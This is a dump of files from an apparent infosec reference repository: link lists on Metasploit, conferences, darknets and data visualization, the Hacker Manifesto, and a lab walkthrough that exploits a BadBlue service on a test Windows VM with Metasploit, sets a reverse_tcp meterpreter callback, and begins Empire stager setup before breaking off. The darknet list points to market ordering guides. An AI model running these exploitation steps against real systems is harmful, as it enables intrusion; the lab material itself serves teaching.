352 | (✌ﾟ∀ﾟ)☞
353 | (✖╭╮✖)
354 | (✪㉨✪)
355 | (✿◠‿◠)
356 | (✿ ♥‿♥)
357 | (　・∀・)
358 | (　･ัω･ั)？
359 | (　ﾟ∀ﾟ)o彡゜えーりんえーりん!!
360 | (。・_・。)
361 | (つд｀)
362 | (づ｡◕‿‿◕｡)づ
363 | (ノಠ益ಠ)ノ彡┻━┻    table flip
364 | (ノ ◑‿◑)ノ
365 | (ノ_・。)
366 | (・∀・ )
367 | (屮ﾟДﾟ)屮                           "Come on" or "Come here"
368 | (︶ω︶)
369 | (︶︹︺)
370 | (ﺧ益ﺨ)
371 | (；一_一)
372 | (｀・ω・´)”                       innocent happy
373 | (｡◕‿‿◕｡)
374 | (｡◕‿◕｡)
375 | (｡◕ ‿ ◕｡)
376 | (｡♥‿♥｡)
377 | (｡･ω..･)っ
378 | (･ｪ-)
379 | (ﾉ◕ヮ◕)ﾉ*:･ﾟ✧
380 | (ﾟДﾟ)          "heh?" or "what are you saying?" or "surprised"
381 | (ﾟДﾟ)y─┛~~                        smoking
382 | (ﾟ∀ﾟ)
383 | (ﾟヮﾟ)
384 | (￣□￣)
385 | (￣。￣)
386 | (￣ー￣)
387 | (￣(エ)￣)
388 | ( °٢° )
389 | ( ´_ゝ｀)
390 | ( ͡° ͜ʖ ͡°)
391 | ( ͡~ ͜ʖ ͡°)
392 | ( ಠ◡ಠ )
393 | ( •_•)>⌐■-■
394 | ( 　ﾟ,_ゝﾟ)
395 | ( ･ิз･ิ)
396 | ( ﾟдﾟ)､                            vomits saliva
397 | ( ^▽^)σ)~O~)
398 | ((((゜д゜;))))
399 | (*´д｀*)
400 | (*..Д｀)
401 | (*..д｀*)
402 | (*~▽~)
403 | (-’๏_๏’-)
404 | (-＿- )ノ
405 | (/◔ ◡ ◔)/
406 | (///_ಥ)
407 | (;´Д`)
408 | (=ω=;)
409 | (=゜ω゜)
410 | (>'o')> ♥ <('o'<)
411 | (n˘v˘•)¬
412 | (o´ω｀o)
413 | (V)(°,,°)(V)
414 | (\/) (°,,°) (\/) WOOPwoopwowopwoopwoopwoop!
415 | (^▽^)
416 | (`･ω･´) <-- Pedobear?
417 | (~￣▽￣)~
418 | /╲/\╭ºoꍘoº╮/\╱\
419 | <【☯】‿【☯】>
420 | = (ﾟдﾟ)ｳ
421 | @_@
422 | d(*⌒▽⌒*)b
423 | o(≧∀≦)o
424 | o(≧o≦)o
425 | q(❂‿❂)p
426 | y=ｰ( ﾟдﾟ)･∵.                      shot my head
427 | \˚ㄥ˚\
428 | \ᇂ_ᇂ\
429 | \(ಠ ὡ ಠ )/
430 | \(◕ ◡ ◕\)
431 | ^̮^
432 | ^ㅂ^
433 | _(͡๏̯͡๏)_
434 | {´◕ ◡ ◕｀}
435 | {ಠ_ಠ}__,,|,
436 | {◕ ◡ ◕}
437 | ```
438 | 


--------------------------------------------------------------------------------
/Draft/Cheat sheets reference pages Checklists -/metasploit.md:
--------------------------------------------------------------------------------
 1 | # Metasploit Framework
 2 | 
 3 | 
 4 | 
 5 | 
 6 | 
 7 | 
 8 | 
 9 | 
10 | ### General
11 | Cheat Sheet
12 | * [SANS Metasploit Cheat Sheet](https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf)
13 | General
14 | * [What is Metasploit?](https://www.youtube.com/watch?v=TCPyoWHy4eA)
15 | * [Metasploit - github.io](https://metasploit.github.io/)
16 | 	* It is the official “reference” page for the metasploit framework
17 | Articles/Blogposts
18 | * [Facts and Myths about AV Evasion with the Metasploit Framework](http://schierlm.users.sourceforge.net/avevasion.html)
19 | * References
20 | * [MSF/Meterpreter cmd reference](http://hacking-class.blogspot.com/2011/08/metasploit-cheat-sheet-metasploit.html)
21 | Writing Modules
22 | * [Writing an Exploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit)
23 | * [Writing an Exploit for Metasploit by Corelan](https://www.corelan.be/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/)
24 | * [Writing an Auxiliary module](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-auxiliary-module)
25 | * [Writing a Post-Exploitation module](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-a-post-module)
26 | * [Style tips for writing a Metasploit module](https://github.com/rapid7/metasploit-framework/wiki/Style-Tips)
27 | * [Metasploit Framework Module Github](https://github.com/rapid7/metasploit-framework/tree/master/modules)
28 | 	* Easiest way of seeing the most current listing of any modules. All are Github pages for the Metasploit project
29 | ### Metasploit Reference/Links to Specific Things
30 | (Easier than listing contents thereof)
31 | * [Metasploit Framework Wiki](https://github.com/rapid7/metasploit-framework/wiki)
32 | * [Auxiliary Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary)
33 | * [Auxiliary Module Fuzzers](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/fuzzers)
34 | * [Denial-of-Service Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/dos)
35 | * [Auxiliary Gather Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/gather)
36 | * [Auxiliary Scanner Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner)
37 | * [Server Auxiliary Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/server)
38 | * [Auxiliary Spoofing Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/spoof)
39 | * [Auxiliary VOIP Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/voip)
40 | * [Encoder Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/encoders)
41 | * [Payloads - Singles](https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads/singles)
42 | * [Payloads - Singles - Windows](https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads/singles/windows)
43 | * [Payloads - Singles - Linux x86](https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads/singles/linux/x86)
44 | * [Payloads - Stagers](https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads/stagers)
45 | * [Payloads - Stagers - Windows](https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads/stagers/windows)
46 | * [Payloads - Stagers - Linux x86](https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads/stagers/linux/x86)
47 | * [Exploits](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits)
48 | * [Exploits - Windows](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/windows)
49 | * [Exploits - Linux])https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux)
50 | * [Exploits - Multi-Platform](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi)
51 | * [Post-Exploitation Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post)
52 | * [Post-Exploitation Windows Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows)
53 | * [Post-Exploitation Linux Modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/linux)
54 | 
55 | 
56 | 
57 | 
58 | 
59 | 


--------------------------------------------------------------------------------
/Draft/Conferences.md:
--------------------------------------------------------------------------------
 1 | # Information Security Conference Videos & Stuff
 2 | 
 3 | 
 4 | 
 5 | 
 6 | -----
 7 | ### General
 8 | * [You and Your Research - Haroon Meer](https://www.youtube.com/watch?v=JoVx_-bM8Tg)
 9 | 	* What does it take to do quality research? What stops you from being a one-hit wonder? Is there an age limit to productive hackery? What are the key ingredients needed and how can you up your chances of doing great work? In a talk unabashedly stolen from far greater minds we hope to answer these questions and discuss their repercussions.
10 | * [A talk about (info-sec) talks - Haroon Meer ](https://www.youtube.com/watch?v=BlVjdUkrSFY)
11 | 	* Last year there was an Information Security conference taking place for almost every day of the year. This translates to about 15 information security talks per day, every day. The question is, is this a bad thing? Even niche areas of the info-sec landscape have their own dedicated conference these days. Is this a good thing?
12 | * [List of Conferences](https://infosec-conferences.com/)
13 | * [InfoCon - Archive of Con papers/slides](https://infocon.org/)
14 | 
15 | -----
16 | ### Archives of Recorded Talks
17 | * [IronGeek - Chances are he has it archived here](https://www.irongeek.com/)
18 | * [31st Chaos Communication Congress Archive](http://cdn.media.ccc.de/congress/31C3/)
19 | * [Shmoocon 2015 Videos](https://archive.org/details/shmoocon-2015-videos-playlist)
20 | * [Defcon Media Archive](https://media.defcon.org/)
21 | * [Archive of security conference videos](http://wipkip.nikhef.nl/events/)
22 | * [Trooper Conference - 2015](https://www.youtube.com/channel/UCPY5aUREHmbDO4PtR6AYLfQ)
23 | * [Derbycon 2017 Videos](https://www.irongeek.com/i.php?page=videos/derbycon7/mainlist)
24 | 
25 | 
26 | 
27 | 
28 | -----
29 | ### Conferences/Events
30 | * [List of Conferences](https://infosec-conferences.com/)
31 | * [InfoCon - Archive of Con papers/slides](https://infocon.org/)
32 | * [CFP Time](https://cfptime.org/)
33 | 
34 | 
35 | 
36 | 


--------------------------------------------------------------------------------
/Draft/Darknets.md:
--------------------------------------------------------------------------------
 1 | # Darknets
 2 | 
 3 | * **General**
 4 | 	* Don't think that because information posted here is valid/trustworthy. This is a dumping spot for my personal reference. This does not mean that markets/sites I post are legit/safe. 
 5 | * **101**
 6 | 	* [Touring the Darkside of the Internet. An Introduction to Tor - Defcon22](https://www.youtube.com/watch?v=To5yarfAg_E)
 7 | 	* [Darknet Dictionary ](http://www.deepdotweb.co/2014/03/02/deepdotwebs-darknet-dictionary/)
 8 | 	* [Darknets intro vid - educational](https://www.youtube.com/watch?v=tjJYC2LuJl0)
 9 | 	* [For Darknet Noobs](https://www.reddit.com/r/DarkNetMarketsNoobs)
10 | * **Darknets**
11 | 	* Freenet
12 | 	* Gnunet
13 | 	* I2P
14 | 	* Tor	
15 | * **Documentation**
16 | 	* [Tor black-market-related arrests](http://www.gwern.net/Black-market%20arrests#evolution)
17 | 		* 'I compile a table and discussion of all known arrests and prosecutions related to Tor-Bitcoin black-markets such as Silk Road 1, along with discussion of how they came to be arrested.'
18 | * **Educational**
19 | 	* [Ordering Checklist](https://www.reddit.com/r/DarkNetMarketsNoobs/wiki/completeorderingchecklist)
20 | * **General**
21 | 	* [Site list: (NO CP)](http://belsec.skynetblogs.be/deepnet-the-tor-onion-directory-of-things-that-work-today.html)
22 | 	* [Deep Dot Web](http://www.deepdotweb.co/)
23 | 	* [ProjectX](https://github.com/CHEF-KOCH/ProjectX)
24 | 		* DarkWeb pages overview (yet another one) is designed to show Deep Web specific pages, software and other related information.
25 | * **Markets**
26 | 	* [Market Discussions](https://www.reddit.com/r/DarkNetMarkets)
27 | * **Tools**
28 | 	* [Tor Search engine.](https://ahmia.fi/search/)
29 | * **Wikis**
30 | 
31 | 
32 | 
33 | 
34 | 
35 | 
36 | 
37 | 
38 | 
39 | 
40 | 
41 | 
42 | 


--------------------------------------------------------------------------------
/Draft/DataVis.md:
--------------------------------------------------------------------------------
  1 | # Data Visualization
  2 | 
  3 | 
  4 | 
  5 | ## Table of Contents
  6 | * To be sorted
  7 | * Tools
  8 | * Writeups
  9 | 
 10 | 
 11 | 
 12 | * [Open Graph Viz Platform](https://gephi.org/)
 13 | 	* Gephi is the leading visualization and exploration software for all kinds of graphs and networks. Gephi is open-source and free.
 14 | 
 15 | * https://arxiv.org/abs/1901.01769
 16 | 
 17 | https://www.blackhillsinfosec.com/pyfunnels-data-normalization-for-infosec-workflows/
 18 | https://github.com/packetvitality/PyFunnels
 19 | https://www.sans.org/reading-room/whitepapers/OpenSource/pyfunnels-data-normalization-infosec-workflows-38785
 20 | 
 21 | ### To Do
 22 | * Split into Data visualization/Working with data
 23 | * Edward Tufte Books
 24 | 
 25 | #### Sort
 26 | 
 27 | [Userline](https://github.com/THIBER-ORG/userline)
 28 | * This tool automates the process of creating logon relations from MS Windows Security Events by showing a graphical relation among users domains, source and destination logons as well as session duration.
 29 | 
 30 | [Just-Metadata](https://github.com/ChrisTruncer/Just-Metadata)
 31 | * Just-Metadata is a tool that can be used to gather intelligence information passively about a large number of IP addresses, and attempt to extrapolate relationships that might not otherwise be seen. Just-Metadata has "gather" modules which are used to gather metadata about IPs loaded into the framework across multiple resources on the internet. Just-Metadata also has "analysis" modules. These are used to analyze the data loaded Just-Metadata and perform various operations that can identify potential relationships between the loaded systems.
 32 | 
 33 | * [NewsDiffs](https://github.com/ecprice/newsdiffs)
 34 | 	* Automatic scraper that tracks changes in news articles over time.
 35 | * [Active Directory Control Paths](https://github.com/ANSSI-FR/AD-control-paths)
 36 | 	* Control paths in Active Directory are an aggregation of "control relations" between entities of the domain (users, computers, groups, GPO, containers, etc.) which can be visualized as graphs (such as above) and whose purpose is to answer questions like "Who can get 'Domain Admins' privileges ?" or "What resources can a user control ?" and even "Who can read the CEO's emails ?".
 37 | 
 38 | 
 39 | Apache Nifi - supports powerful and scalable directed graphs of data routing, transformation, and system mediation logic.
 40 | https://nifi.apache.org/
 41 | 
 42 | http://linkurio.us/toolkit/
 43 | 
 44 | http://marvl.infotech.monash.edu/webcola/
 45 | 
 46 | http://www.yasiv.com/graphs#Bai/rw496
 47 | 
 48 | http://plaso.kiddaland.net/
 49 | 
 50 | Check out http://secviz.org/
 51 | 
 52 | http://sourceforge.net/projects/rapidminer/
 53 | 
 54 | http://orange.biolab.si/
 55 | 
 56 | https://rapidminer.com/
 57 | 
 58 | 
 59 | http://ipython.org/
 60 | 
 61 | https://www.documentcloud.org/home
 62 | 
 63 | http://www.pentaho.com/
 64 | 
 65 | Applied Security Visualization: http://www.secviz.org/content/applied-security-visualization
 66 | 
 67 | [Scriptorium-LE](https://github.com/imifos/Scriptorium-LE/)
 68 | * A Linux machine state enumeration, data visualisation and analysis tool.
 69 | 
 70 | #### End Sort
 71 | 
 72 | -----
 73 | ### Tools
 74 | * [d3js(Data Driven Documents)](http://d3js.org/)
 75 | 	* D3.js is a JavaScript library for manipulating documents based on data. D3 helps you bring data to life using HTML, SVG, and CSS. D3’s emphasis on web standards gives you the full capabilities of modern browsers without tying yourself to a proprietary framework, combining powerful visualization components and a data-driven approach to DOM manipulation. 
 76 | * [Data Science Toolkit](https://github.com/petewarden/dstk)
 77 | 	* A collection of the best open data sets and open-source tools for data science, wrapped in an easy-to-use REST/JSON API with command line, Python and Javascript interfaces. Available as a self-contained VM or EC2 AMI that you can deploy yourself.
 78 | 	* [Documentation](http://www.datasciencetoolkit.org/developerdocs)
 79 | * [ORA](http://www.casos.cs.cmu.edu/projects/ora/)
 80 | 	* ORA is a dynamic meta-network assessment and analysis tool developed by CASOS at Carnegie Mellon.  It contains hundreds of social network, dynamic network metrics, trail metrics, procedures for grouping nodes, identifying local patterns, comparing and contrasting networks, groups, and individuals from a dynamic meta-network perspective. ORA has been used to examine how networks change through space and time,  contains procedures for moving back and forth between trail data (e.g. who was where when) and network data (who is connected to whom,  who is connected to where …),  and has a variety of geo-spatial network metrics, and change detection techniques. ORA can handle multi-mode, multi-plex, multi-level networks.  It can identify key players, groups and vulnerabilities, model network changes over time, and perform COA analysis.  It has been tested with large networks (106 nodes per 5 entity classes). Distance based, algorithmic, and statistical procedures for comparing and contrasting networks are part of this toolkit.  Based on network theory, social psychology, operations research, and management theory a series of measures of “criticality” have been developed at CMU.  Just as critical path algorithms can be used to locate those tasks that are critical from a project management perspective, the ORA algorithms can find those people, types of skills or knowledge and tasks that are critical from a performance and information security perspective. 
 81 | * [pewpew](https://github.com/hrbrmstr/pewpew)
 82 | 	* In all seriousness, IPew provides a simple framework - based on Datamaps - for displaying cartographic attack data in a (mostly) responsive way and shows how to use dynamic data via javascript event timers and data queues (in case you're here to learn vs have fun - or both!). You can customize the display through a myriad of query string options, including sounds.
 83 | * [Data Maps](https://datamaps.github.io/)
 84 | 	* Customizable SVG map visualizations for the web in a single Javascript file using D3.js
 85 | * [Import.IO](https://import.io/)
 86 | 	* Use our tool to build APIs to all your favorite websites with just a few clicks of the mouse.  - Data Scraping
 87 | * [kippo-graph](https://github.com/ikoniaris/kippo-graph)
 88 | 	* Visualize statistics from a Kippo SSH honeypot 
 89 | * [simgaJS-webcola](https://github.com/qinfchen/sigmajs-webcola)
 90 | 	* webcola plugin for sigmajs 
 91 | * [Airodump-NG Scan Visualizer](http://hackoftheday.securitytube.net/2015/03/airodump-ng-scan-visualizer-ver-01.html)	
 92 | * [Graphite - Scalable Realtime Graphing](http://graphite.wikidot.com/start) 
 93 | 	* [Quick Start Guide](http://graphite.wikidot.com/quickstart-guide)
 94 | * [StatsD](https://github.com/etsy/statsd/)
 95 | 	* A network daemon that runs on the Node.js platform and listens for statistics, like counters and timers, sent over UDP or TCP and sends aggregates to one or more pluggable backend services (e.g., Graphite).
 96 | * [Kismet Log Viewer - KLV](http://mindflip.org/klv/)
 97 | 	* The Kismet Log Viewer (KLV) takes Kismet .xml log files and produces a nicely formatted html interface to browse the logs with. KLV has the ability to utilize available GPS information to create links for external maps via the net, and provides the ability for those with Snort to generate a page of Snort output for each specific bssid that has data available. KLV also comes with my Kismet Log Combiner script to help users consolidate multiple .xml and .dump log files.
 98 | * [plaso](https://github.com/log2timeline/plaso)
 99 | 	* plaso (Plaso Langar Að Safna Öllu) is a Python-based backend engine for the tool log2timeline. 
100 | * [huginn](https://github.com/huginn/huginn)
101 | 	* Create agents that monitor and act on your behalf. Your agents are standing by! Huginn is a system for building agents that perform automated tasks for you online. They can read the web, watch for events, and take actions on your behalf. Huginn's Agents create and consume events, propagating them along a directed graph. Think of it as a hackable version of IFTTT or Zapier on your own server. You always know who has your data. You do.
102 | * [Norikra](http://norikra.github.io/)
103 | 	* Norikra is a open source server software provides "Stream Processing" with SQL, written in JRuby, runs on JVM, licensed under GPLv2.
104 | * [Fluentd](https://www.fluentd.org/architecture)
105 | 	* Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data.
106 | * Modeling Network Data
107 | 	* [Flowsynth](https://github.com/secureworks/Flowsynth)
108 | 		* Flowsynth is a tool for rapidly modelling network traffic. Flowsynth can be used to generate text-based hexdumps of packets as well as native libpcap format packet captures.
109 | 
110 | 
111 | 
112 | -----
113 | ### Writeups
114 | * [Generalizing Data Flow Information](http://uninformed.org/?v=all&a=34&t=sumry)
115 | 	* Generalizing information is a common method of reducing the quantity of data that must be considered during analysis. This fact has been plainly illustrated in relation to static data flow analysis where previous research has described algorithms that can be used to generalize data flow information. These generalizations have helped support more optimal data flow analysis in certain situations. In the same vein, this paper describes a process that can be employed to generalize and persist data flow information along multiple generalization tiers. Each generalization tier is meant to describe the data flow behaviors of a conceptual software element such as an instruction, a basic block, a procedure, a data type, and so on. This process makes use of algorithms described in previous literature to support the generalization of data flow information. To illustrate the usefulness of the generalization process, this paper also presents an algorithm that can be used to determine reachability at each generalization tier. The algorithm determines reachability starting from the least specific generalization tier and uses the set of reachable paths found to progressively qualify data flow information for each successive generalization tier. This helps to constrain the amount of data flow information that must be considered to a minimal subset. 
116 | *[Using amCharts to Create Beautiful Wireshark Visualizations](http://www.thevisiblenetwork.com/2015/03/19/using-amcharts-to-create-beautiful-wireshark-visualizations/)
117 | * [Drawing effective network diagrams](https://www.auvik.com/media/blog/effective-network-diagrams/)
118 | 


--------------------------------------------------------------------------------
/Draft/Passwords.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/Draft/Passwords.md


--------------------------------------------------------------------------------
/Draft/README.md:
--------------------------------------------------------------------------------
 1 | # InfoSec Reference
 2 | <p align="center"> 
 3 | <img src="./images/mspaint.png">
 4 | Created by <a href="https://twitter.com/r_o_b_e_r_t_1">Robert Musser</a>
 5 | </p>
 6 | 
 7 | <h4 align="center">
 8 | An Information Security Reference That Doesn't Suck!
 9 | </h4>
10 | <br>
11 | 
12 | 
13 | 
14 | ## Goal:
15 | - The goal of this project is to act as a free resource for anyone interested in learning more about Information Security.
16 | 	-	A list of techinques, tools and tactics to learn from or reference.
17 | 	- Rich resource of infosec knowledge for anyone to browse through as a jumping off point for various niches OR as a reference/recall method for stuff. 
18 | 	- Something like a "Yellow Pages" in the sense of you know something exists, but what was it called....
19 |   		* 'If you give a man a fish, he is hungry again in an hour. If you teach him to catch a fish, you do him a good turn.'
20 | 	- To be clear, these aren't personal notes. I keep this repo maintained as a way of having pointers to information that I feel might help build someone's skillset or increase their understanding of attacks/methods/defenses.
21 | - This project is not meant to condone illegal or malicious activities.
22 | - For a HTML version of this reference, check out: [https://rmusser.net/docs](https://rmusser.net/docs)(I'm not a webdev. Can you tell?).
23 | - For latest content updates, check the git history.
24 | - Want to contribute a link? 
25 | 	* Anything relevant that isn't already in or covered would be/is appreciated.
26 | - **If this resource has helped you in any way(and didn't increase your frustration), please consider making a donation to [Doctors Without Borders](https://donate.doctorswithoutborders.org/onetime.cfm) or [Amnesty International](https://www.amnesty.org/en/donate/).**
27 | 


--------------------------------------------------------------------------------
/Draft/Rants&Writeups/Hacker_Manifesto:
--------------------------------------------------------------------------------
 1 |                                ==Phrack Inc.==
 2 | 
 3 |                     Volume One, Issue 7, Phile 3 of 10
 4 | 
 5 | =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 6 | The following was written shortly after my arrest...
 7 | 
 8 |                        \/\The Conscience of a Hacker/\/
 9 | 
10 |                                       by
11 | 
12 |                                +++The Mentor+++
13 | 
14 |                           Written on January 8, 1986
15 | =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
16 | 
17 |         Another one got caught today, it's all over the papers.  "Teenager
18 | Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
19 |         Damn kids.  They're all alike.
20 | 
21 |         But did you, in your three-piece psychology and 1950's technobrain,
22 | ever take a look behind the eyes of the hacker?  Did you ever wonder what
23 | made him tick, what forces shaped him, what may have molded him?
24 |         I am a hacker, enter my world...
25 |         Mine is a world that begins with school... I'm smarter than most of
26 | the other kids, this crap they teach us bores me...
27 |         Damn underachiever.  They're all alike.
28 | 
29 |         I'm in junior high or high school.  I've listened to teachers explain
30 | for the fifteenth time how to reduce a fraction.  I understand it.  "No, Ms.
31 | Smith, I didn't show my work.  I did it in my head..."
32 |         Damn kid.  Probably copied it.  They're all alike.
33 | 
34 |         I made a discovery today.  I found a computer.  Wait a second, this is
35 | cool.  It does what I want it to.  If it makes a mistake, it's because I
36 | screwed it up.  Not because it doesn't like me...
37 |                 Or feels threatened by me...
38 |                 Or thinks I'm a smart ass...
39 |                 Or doesn't like teaching and shouldn't be here...
40 |         Damn kid.  All he does is play games.  They're all alike.
41 | 
42 |         And then it happened... a door opened to a world... rushing through
43 | the phone line like heroin through an addict's veins, an electronic pulse is
44 | sent out, a refuge from the day-to-day incompetencies is sought... a board is
45 | found.
46 |         "This is it... this is where I belong..."
47 |         I know everyone here... even if I've never met them, never talked to
48 | them, may never hear from them again... I know you all...
49 |         Damn kid.  Tying up the phone line again.  They're all alike...
50 | 
51 |         You bet your ass we're all alike... we've been spoon-fed baby food at
52 | school when we hungered for steak... the bits of meat that you did let slip
53 | through were pre-chewed and tasteless.  We've been dominated by sadists, or
54 | ignored by the apathetic.  The few that had something to teach found us will-
55 | ing pupils, but those few are like drops of water in the desert.
56 | 
57 |         This is our world now... the world of the electron and the switch, the
58 | beauty of the baud.  We make use of a service already existing without paying
59 | for what could be dirt-cheap if it wasn't run by profiteering gluttons, and
60 | you call us criminals.  We explore... and you call us criminals.  We seek
61 | after knowledge... and you call us criminals.  We exist without skin color,
62 | without nationality, without religious bias... and you call us criminals.
63 | You build atomic bombs, you wage wars, you murder, cheat, and lie to us
64 | and try to make us believe it's for our own good, yet we're the criminals.
65 | 
66 |         Yes, I am a criminal.  My crime is that of curiosity.  My crime is
67 | that of judging people by what they say and think, not what they look like.
68 | My crime is that of outsmarting you, something that you will never forgive me
69 | for.
70 | 
71 |         I am a hacker, and this is my manifesto.  You may stop this individual,
72 | but you can't stop us all... after all, we're all alike.
73 | 
74 |                                +++The Mentor+++
75 | _______________________________________________________________________________
76 | 


--------------------------------------------------------------------------------
/Draft/Rants&Writeups/Writeups/Empire_and_Metasploit_101.md:
--------------------------------------------------------------------------------
  1 | Empire and Metasploit 101
  2 | 
  3 | 
  4 | 
  5 | 
  6 | Goal: Use Empire and metasploit in example situation of network exploitation and post-exploitation host enumeration. We will exploit a network service on a Windows 7 VM, and then use our low-privilege shell to then execute an empire powershell stager, which will create an Empire agent on the local Windows 7 VM. After this, we will look through the various options available as an Empire agent.
  7 | Following this, we will generate a DLL stager within Empire, and then use our existing meterpreter session on the Windows 7 VM to perform a DLL injection attack, to inject another Empire agent, directly into memory.
  8 | 
  9 | Pre-Stuff: Empire is not just for windows. It has python based agents that can run on OS X and Linux. It's communication profile between agents and listeners is configurable, similar to CobaltStrikes. You can use pre-built or custom-made ones to employ such functionality. Empire is designed to stay off disk and in memory as much as possible. Empire does contain modules that will not follow this and will touch disk. For information on Empire Modules, I recommend looking at the Github. That is where you will find the latest supported modules.
 10 | 
 11 | 
 12 | 
 13 | 
 14 | Related Links:
 15 | * [Metasploit Unleashed Course](https://www.offensive-security.com/metasploit-unleashed/)
 16 | * [Empire Tips and Tricks](https://enigma0x3.net/2015/08/26/empire-tips-and-tricks/)
 17 | 
 18 | * [Empire Github](https://github.com/EmpireProject/Empire)
 19 | * [Meterpreter basics - Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/)
 20 | * [Stagers - Empire](http://www.powershellempire.com/?page_id=104)
 21 | * [Agents 101 - powershellempire.com](https://www.powershellempire.com/?page_id=106)
 22 | 
 23 | 
 24 | Required Software:
 25 |  
 26 | Download Windows 7 VM
 27 |     * https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
 28 | 
 29 | Software to download/install within the Windows 7 VM:
 30 | 	* [BadBlue - ExploitDB](https://www.exploit-db.com/exploits/16806/)
 31 | 		* [Application](https://www.exploit-db.com/apps/396bedff015be885c1719f39f4561081-badblue.tar_.gz)
 32 | 	* Unzip the `.tar` file with 7zip, and then extract the resulting zip file to end with the installer .exe.
 33 | 
 34 | Download Kali VM
 35 | 	* https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/
 36 | 
 37 | Commads to run/Software to install within the Kali VM:
 38 |     * Update repos
 39 |     	* 'apt update && apt upgrade -y'
 40 |     * Empire [QuickStart](http://www.powershellempire.com/?page_id=110)
 41 |         * https://github.com/EmpireProject/Empire
 42 |         	* 'git clone '
 43 |         	* 'cd Empire'
 44 |         	* './setup/install.sh'
 45 |         	* './setup/setup_database.py'
 46 |         * Empire is now setup and configured!
 47 | 
 48 | I leave it to the reader to import/configure both VMs to their particular desired environment/virtualization platform. For this document, I will assume both machines are within the same subnet of `1.1.254.*.`
 49 | 
 50 | Kali VM - 1.1.254.2
 51 | Windows 7 VM - 1.1.254.5
 52 | 
 53 | Steps:
 54 | * Turn on both virtual machines. Ensure everything is working correctly so far.
 55 | * Kali:
 56 |     * Launch Metasploit
 57 | 	    	* msfconsole
 58 | 	    * Launch the postgres DB
 59 | 	    * Perform a network scan on the windows machine to look for vulnerable services:
 60 | 	    	* db_nmap -sS -sV --version-intensity=0 -p80 1.1.254.5
 61 | 	    * Perform a search for the string 'badblue 2.7'
 62 | 	    * Note the module 'BadBlue 2.72b PassThru Buffer Overflow'
 63 | 	    * Use/load the module:
 64 | 	    	* 'use exploit/windows/http/badblue_passthru'
 65 | 	    * Display the available targets
 66 | 	    	* 'show targets'
 67 | 	    * Display the available options
 68 | 	    	* 'show options'
 69 | 		* Set RHOST
 70 | 			* 'set RHOST 1.1.254.5'
 71 | 		* Set a payload
 72 | 			* For this, we'll use the regular reverse_tcp meterpreter
 73 | 			* 'set payload windows/meterpreter/reverse_tcp'
 74 | 		* Show payload options
 75 | 			* 'show payload options'
 76 | 		* Set LHOST for the payload(needs to callback to somewhere)
 77 | 			* 'set LHOST 1.1.254.2'
 78 | 	    * Show options one more time to make sure everything is correct
 79 | 	    	* 'show options'
 80 | 	    * If everything is good, just type:
 81 | 	    	* 'run' and hit enter.
 82 | 	    * Congratulations! You should now have an active meterpreter session and be sitting at a meterpreter prompt.
 83 | 	    * Try typing 'help' to see available commands
 84 | 	    	* [Meterpreter basics - Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/)
 85 | 	    	* [Meterpreter Documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter)
 86 | 	    * For now, we're going to leave this be. Simply open another terminal, and go onto the next part.
 87 | 	    -----------
 88 | 
 89 | 	* Empire
 90 | 	    * cd into the directory where you downloaded/installed Empire
 91 | 	    * run Empire with the command ./empire
 92 | 	    * About Empire: 
 93 | 	    	* General workflow: Create listener -> Create stager -> Stager instantiates/pulls down/runs an Agent
 94 | 	        * Creating listeners in Empire is done by entering the listener menu, setting the appropriate options, and then issuing the command 'execute'
 95 | 	    * Enter the 'listener' menu
 96 | 	    	* 'listeners'
 97 | 	    * Show the options available for listeners
 98 | 	    	* 'show options'	
 99 | 	    * Set your desired option changes
100 | 	    	* 'set Name Test1A'
101 | 	    * Run Listener
102 | 	    	* 'run'
103 | 	    * This instantiates the listener and causes it to start listening for agents
104 | 	    -----------
105 | 	    * Generate a Stager [Stagers - Empire](http://www.powershellempire.com/?page_id=104)
106 | 	    	* Generating agents in Empire is similar to creating listeners
107 | 	    * enter the command
108 | 	    	* 'back'
109 | 	    * This should put you back at the Empire main menu. If not, keep issuing the back command until you find yourself at the main menu
110 | 	    * Once at the main menu, type the command
111 | 	    	* 'usestager'
112 | 	    	* then press tab twice
